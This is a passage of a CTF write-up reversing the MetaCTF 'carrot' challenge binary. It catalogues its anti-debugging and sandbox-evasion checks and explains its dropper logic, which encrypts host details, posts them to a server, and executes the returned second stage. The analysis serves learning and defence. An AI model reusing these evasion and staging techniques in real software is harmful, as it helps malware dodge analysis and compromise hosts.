<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/anti-debugging_checks.png" title="List of different checks" class="img-fluid"></p>
<p>The code contains various anti-debugging and vm-detection checks, along with conditions that are only satisfied under very specific configurations. If something is not right, it calls a function that reads the contents of <code>/proc/cpuinfo</code> and prints it in a very peculiar way.</p>
<p>Using the debugger, we would have to modify the result of every function to trick the execution and progress to the next part of the code. Or we can patch the binary.</p>
<p>After realizing this code only exists to complicate debugging during execution, I determined it wasn’t relevant to my static analysis and moved on.</p>
<p>However, I was wrong and eventually had to look at them later.</p>
<p>When writing this post, I decided to present the functions in a more organized way than the chaotic process of discovery I originally went through. This explanation is closer to the intended solution path rather than documenting my back-and-forth learning experience.</p>
<section id="ptrace" class="level3">
<h3 class="anchored" data-anchor-id="ptrace">1. Ptrace</h3>
<p>The first check is an anti-debugging classic method, using the syscall <a href="https://www.man7.org/linux/man-pages/man2/ptrace.2.html">ptrace</a>.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/1_ptrace.png" title="ptrace detection" class="img-fluid"></p>
</section>
<section id="time1" class="level3">
<h3 class="anchored" data-anchor-id="time1">2. Time1</h3>
<p>The second check is time-based. It caputes the current time, sleeps for 150 seconds and captures the time again. If the <em>difftime</em> is less than 149.95 or greater than 150.25, its an indicator of some debugging activity, and does not pass this check.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/2_time1.png" title="time_diff_check" class="img-fluid"></p>
</section>
<section id="time2" class="level3">
<h3 class="anchored" data-anchor-id="time2">3. Time2</h3>
<p>The third check is also related to time, but this time the function doesn’t sleep. It constantly checks the <em>difftime</em> inside a loop and only exits if the <em>diff</em> is greater than 150. The other logic is the same as before.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/3_time2.png" title="time_diff_check2" class="img-fluid"></p>
</section>
<section id="hypervisor" class="level3">
<h3 class="anchored" data-anchor-id="hypervisor">4, Hypervisor</h3>
<p>This check reads the contents of <code>/proc/cpuinfo</code> and searches if the string <code>hypervisor</code> is present. This means the binary may be run from a virtual machine.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/4_hypervisor.png" title="hypervisor detection" class="img-fluid"></p>
</section>
<section id="vm" class="level3">
<h3 class="anchored" data-anchor-id="vm">5. VM</h3>
<p>This function is a bit more complex.</p>
<p>The first part loads some filepaths to the stack, but Ghidra’s decompilation is very weird. I find easier to directly read the assembly code.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/5_vm.png" title="vm_detect decompiled function in Ghidra" class="img-fluid"></p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/5_vm_ptr.png" title="vm_detect file references in Ghidra" class="img-fluid"></p>
<p>It opens and reads each filepath (<code>/sys/class/dmi/id/product_name</code>, <code>/sys/class/dmi/id/sys_vendor</code>, <code>/proc/scsi/scsi</code>, <code>/proc/ide/hd0/model</code>, <code>/proc/ide/hd1/model</code>), searching for strings like “VMware”, “VirtualBox” or “QEMU” that indicate a virtual machine.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/5_vm_r2_notes.png" title="vm_detect function in r2" class="img-fluid"></p>
</section>
<section id="connection" class="level3">
<h3 class="anchored" data-anchor-id="connection">6. Connection</h3>
<p>The sixth check uses the libcurl to make two different request to the urls <code>https://metactf.com</code> and <code>https://e205e724dda896b5a70bb03b7aed1dba.metactf.com</code>.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/6_connection_check.png" title="Check internet connection" class="img-fluid"></p>
<p>The curl library uses constants such as <code>CURLOPT_URL</code> and <code>CURLOPT_FAILONERROR</code> to configure options, which are defined in the source code (for example, in <a href="https://github.com/curl/curl/blob/master/include/curl/curl.h"><code>curl.h</code></a>):</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb3" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb3-1"><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">int</span> main<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">void</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb3-2"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb3-3">  CURL <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*</span>curl <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> curl_easy_init<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">();</span></span>
<span id="cb3-4">  <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb3-5">    CURLcode res<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb3-6">    curl_easy_setopt<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> CURLOPT_URL<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"https://example.com"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb3-7">    res <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> curl_easy_perform<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb3-8">    curl_easy_cleanup<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb3-9">  <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb3-10"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>The decompiled code from Ghidra doesn’t include those constants and looking for it in the source code is not easy.</p>
<p>I discovered that LLMs like ChatGPT or Claude excel at mapping these values back to their original constant names. With a few modifications and some variable renaming I finally got the following code that is very self explanatory:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb4" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb4-1">curl_global_init<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>CURL_GLOBAL_ALL<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb4-2">curl_session <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> curl_easy_init<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">();</span></span>
<span id="cb4-3"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl_session <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!=</span> NULL<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb4-4">    curl_easy_setopt<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl_session<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> CURLOPT_URL<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"https://metactf.com"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb4-5">    curl_easy_setopt<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl_session<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> CURLOPT_FAILONERROR<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">1</span><span class="bu" style="color: null;
background-color: null;
font-style: inherit;">L</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb4-6">    r <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> curl_easy_perform<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl_session<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb4-7">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>r <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> CURLE_OK<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb4-8">        curl_easy_getinfo<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl_session<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> CURLINFO_RESPONSE_CODE<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>status_code<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb4-9">        <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>status_code <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">200</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb4-10">            curl_easy_getinfo<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl_session<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> CURLINFO_SIZE_DOWNLOAD<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>download_size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb4-11">            <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>download_size <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">!=</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb4-12">                ret <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="kw" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">true</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">;</span></span>
<span id="cb4-13">            <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb4-14">        <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb4-15">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb4-16">    curl_easy_setopt<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl_session<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> CURLOPT_URL<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"https://e205e724dda896b5a70bb03b7aed1dba.metactf.com"</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb4-17">    r <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> curl_easy_perform<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl_session<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb4-18">    <span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>r <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> CURLE_OK<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb4-19">        curl_easy_getinfo<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl_session<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> CURLINFO_RESPONSE_CODE<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;</span>status_code<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb4-20">        ret <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> ret <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">&amp;&amp;</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>status_code <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">200</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb4-21">    <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb4-22">    curl_easy_cleanup<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>curl_session<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb4-23"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span>
<span id="cb4-24">curl_global_cleanup<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">();</span></span></code></pre></div></div>
<p>The check only passes if making a request to <code>https://metactf.com</code> returns status code <code>200</code> and its content size is greater than zero. The request to the second URL with a large subdomain does not exist and it’s a detection for a fake internet setup like <a href="https://www.inetsim.org/">inetsim</a>, often used in sandboxes.</p>
</section>
<section id="ip" class="level3">
<h3 class="anchored" data-anchor-id="ip">7. IP</h3>
<p>The next check gets the IP addresses of the host and verifies if some address in in the <code>10.13.37.</code> subnet.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/7_ip_address.png" title="check the ip address" class="img-fluid"></p>
</section>
<section id="process" class="level3">
<h3 class="anchored" data-anchor-id="process">8. Process</h3>
<p>The eighth check iterates through the running processes and reads the contents of <code>/proc/%s/cmdline</code> for each one. To pass the check, the programs “wireshark”, “pspy”, “gdb”, “strace”, and “ltrace” must not be running, but some process with “apache2” in the <code>cmdline</code> must be present.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/8_check_proc.png" title="check process" class="img-fluid"></p>
</section>
<section id="user" class="level3">
<h3 class="anchored" data-anchor-id="user">9. User</h3>
<p>This one is very simple, just ensures that the username is equal to <code>meatctf</code>.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/9_user.png" title="check username" class="img-fluid"></p>
</section>
<section id="ld_preload" class="level3">
<h3 class="anchored" data-anchor-id="ld_preload">10. LD_PRELOAD</h3>
<p>This one is also easy, the <code>LD_PRELOAD</code> env variable must not be set. This environment variable is used to load shared libraries which may override functions of the binary to bypass some anti-debugging protections.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/10_ld_preload.png" title="LD_PRELOAD" class="img-fluid"></p>
</section>
<section id="fan" class="level3">
<h3 class="anchored" data-anchor-id="fan">11. Fan</h3>
<p>I’m a big fan of this check, didn’t know this technique.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/11_fan.png" title="fan check" class="img-fluid"></p>
</section>
<section id="hostname" class="level3">
<h3 class="anchored" data-anchor-id="hostname">12. Hostname</h3>
<p>The final check is on the main function, and gets the hostname and compares with <code>www</code>.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/12_hostname.png" title="hostname check" class="img-fluid"></p>
</section>
</section>
<section id="reversing-the-important-stuff" class="level2">
<h2 class="anchored" data-anchor-id="reversing-the-important-stuff">Reversing “The Important Stuff”</h2>
<p>After all the previous checks, here starts the important stuff.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/main.png" title="the important stuff in the main function" class="img-fluid"></p>
<section id="big-picture" class="level3">
<h3 class="anchored" data-anchor-id="big-picture">Big picture</h3>
<p>After analyzing and understanding the individual functions and rename them to descriptive names, the main function can be summarized on the next pseudocode:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb5" style="background: #f1f3f5;"><pre class="sourceCode c code-with-copy"><code class="sourceCode c"><span id="cb5-1"><span class="cf" style="color: #003B4F;
background-color: null;
font-weight: bold;
font-style: inherit;">if</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>checks<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">==</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb5-2">    info_json <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> generate_json<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">()</span></span>
<span id="cb5-3">    rsa_public_key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>RSA <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">*)</span>read_public_key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">();</span></span>
<span id="cb5-4">    rand1_key <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> RAND_bytes<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x10</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb5-5">    rand2_iv <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> RAND_bytes<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span><span class="bn" style="color: #AD0000;
background-color: null;
font-style: inherit;">0x10</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb5-6">    aes_encrypted <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> aes_cbc_encrypt<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>info_json<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span>strlen<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>info_json<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">),</span>rand1_key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span>rand2_iv<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,&amp;</span>aes_encrypted_size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb5-7">    rsa_encrypted <span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">=</span> rsa_public_encrypt<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>rsa_public_key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span>rand1_key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,&amp;</span>rsa_encrypted_size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">)</span></span>
<span id="cb5-8">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">register</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">(</span>aes_encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span>aes_encrypted_size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span>rsa_encrypted<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span>rsa_encrypted_size<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span>rand2_iv<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span><span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">16</span><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span>rand1_key<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">,</span>extraout_RAX<span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">);</span></span>
<span id="cb5-9"><span class="op" style="color: #5E5E5E;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>First, it generates a json object with information from the machine. Then, it reads a hardcoded public rsa key and generates a key and an iv. Next, it encrypts the json data with aes cbc using the newly generated key and iv. This key is then encrypted using the hardcoded rsa public key. Finally, the function that I named “register” is called with all that information.</p>
</section>
<section id="generate-json-function" class="level3">
<h3 class="anchored" data-anchor-id="generate-json-function">Generate json function</h3>
<p>This function grabs information about the system and builds a json object. It uses functions similar to the ones used on the previous checks, so I had to review again the exact conditions to build the json with the required data.</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb6" style="background: #f1f3f5;"><pre class="sourceCode json code-with-copy"><code class="sourceCode json"><span id="cb6-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span></span>
<span id="cb6-2">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"ip_addresses"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"%s"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-3">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"hostname"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"%s"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-4">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"username"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"%s"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-5">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"processes"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"%s"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-6">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"fan_count"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">%d</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span></span>
<span id="cb6-7">    <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"ld_preload_set"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="er" style="color: #AD0000;
background-color: null;
font-style: inherit;">%d</span></span>
<span id="cb6-8"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/generate_json.png" title="generate_json function" class="img-fluid"></p>
</section>
<section id="encryption-functions" class="level3">
<h3 class="anchored" data-anchor-id="encryption-functions">Encryption functions</h3>
<p>The encryption implementation (both rsa and aes) is standard and not critical to solving this challenge, so I’ll skip the details. <em>It just encrypts data</em>.</p>
</section>
<section id="register-function" class="level3">
<h3 class="anchored" data-anchor-id="register-function">Register function</h3>
<p>This function is quite large and complex, but can be divided in two very different parts.</p>
<section id="register---preparation" class="level4">
<h4 class="anchored" data-anchor-id="register---preparation">Register - preparation</h4>
<p>The first part prepares a curl session and prepares the data to be sent.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/register_prepare.png" title="register - preparation" class="img-fluid"></p>
<p>It uses the header <code>Content-Type: application/octet-stream</code> and puts the data in the allocated memory <code>_ptr_data</code>. The data is the IV, the key rsa-encrypted with the public key, and the aes encrypted json joined toghether. The order is important here.</p>
</section>
<section id="register---post-request" class="level4">
<h4 class="anchored" data-anchor-id="register---post-request">Register - post request</h4>
<p>The next part completes the parameters of the curl request. If the status_code response is ok, it decrypts the response data using the same aes key and iv, creates a temp file with the decrypted data, gives it execute permissions, and finally executes it in a new child process using the <code>fork()</code> function.</p>
<p><img src="https://0xlibris.net/posts/metactf_2025_feb_carrot/img/register_post_request.png" title="register - post request" class="img-fluid"></p>
</section>
</section>
</section>
<section id="fck-is-there-a-second-binary" class="level2">
<h2 class="anchored" data-anchor-id="fck-is-there-a-second-binary">Fck, is there a second binary?</h2>
<p>After all this looong static analysis, the short available time of the flash ctf has already been consumed, and I almost decided to go to sleep (European Time here).</p>
<p>But I decided to push a bit more and try to obtain the second binary to continue the challenge the next day, in case the ctf infrastrucure was not longer available.</p>
</section>
<section id="retrieving-the-next-stage-binary" class="level2">
<h2 class="anchored" data-anchor-id="retrieving-the-next-stage-binary">Retrieving the next stage binary</h2>
<p>At this point, we have all the knowledge needed; we just need to manually craft a curl request with the encrypted JSON and decrypt the received data.</p>
<p>The first thing to do is generate the json data. After some tests, I realized that the initial checks are in fact the answers for the json data. So I created a file (<code>data.txt</code>) with that information:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb7" style="background: #f1f3f5;"><pre class="sourceCode json code-with-copy"><code class="sourceCode json"><span id="cb7-1"><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">{</span><span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"ip_addresses"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"10.13.37.1"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"hostname"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"www"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"username"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"meatctf"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"processes"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="st" style="color: #20794D;
background-color: null;
font-style: inherit;">"apache2"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"fan_count"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">2</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">,</span> <span class="dt" style="color: #AD0000;
background-color: null;
font-style: inherit;">"ld_preload_set"</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">:</span> <span class="dv" style="color: #AD0000;
background-color: null;
font-style: inherit;">0</span><span class="fu" style="color: #4758AB;
background-color: null;
font-style: inherit;">}</span></span></code></pre></div></div>
<p>Then, we need to extract the public key from the binary.</p>
<p>Locate its position in r2 with the help of the command <code>/cg</code> to search for cryptographic material, find the correct size, and export with <code>wtf</code>:</p>
<div class="code-copy-outer-scaffold"><div class="sourceCode" id="cb8" style="background: #f1f3f5;"><pre class="sourceCode default code-with-copy"><code class="sourceCode default"><span id="cb8-1">[0x00002450]&gt; /cg</span>
<span id="cb8-2">0x000042c6 hit80_0 .om%dwww-----BEGIN PUBLIC KEY-----MIIBIjANBg.</span>
<span id="cb8-3">[0x00002450]&gt; px 0x1d0 @(0x000042c6-5)</span>
<span id="cb8-4">- offset -  C1C2 C3C4 C5C6 C7C8 C9CA CBCC CDCE CFD0  123456789ABCDEF0</span>
